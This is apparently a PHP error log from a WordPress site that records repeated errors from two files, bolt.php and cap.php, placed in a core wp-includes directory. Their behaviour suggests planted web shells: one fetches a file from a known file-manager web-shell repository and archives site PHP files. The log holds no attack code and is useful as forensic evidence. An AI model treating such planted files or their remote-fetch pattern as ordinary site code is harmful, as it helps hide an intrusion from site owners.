[25-Jun-2026 18:38:55 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:01 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:48 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:42:49 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:22 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:43:35 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:00 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:07 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:44:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:44:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:44:46 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:45:32 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:01 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:29 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:46:38 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:47:58 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1208
[25-Jun-2026 18:48:03 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:03 UTC] PHP Warning:  Undefined variable $ext in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:24 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:34 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:48:34 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:43 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:48:44 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:48:44 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:49:41 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:49:41 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:02 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php:1223
Stack trace:
#0 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1223
[25-Jun-2026 18:50:03 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:50:33 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php:1115
Stack trace:
#0 /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php(1115): PharData->compress()
#1 {main}
  thrown in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 1115
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:50:42 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 629
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:39 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:45 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:34:49 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:49 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:34:59 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:21 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:21 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:35:47 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:35:52 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 953
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:04 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:04 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:06 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:11 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:23 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:28 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:37 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:44 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 19:36:48 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 19:36:54 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
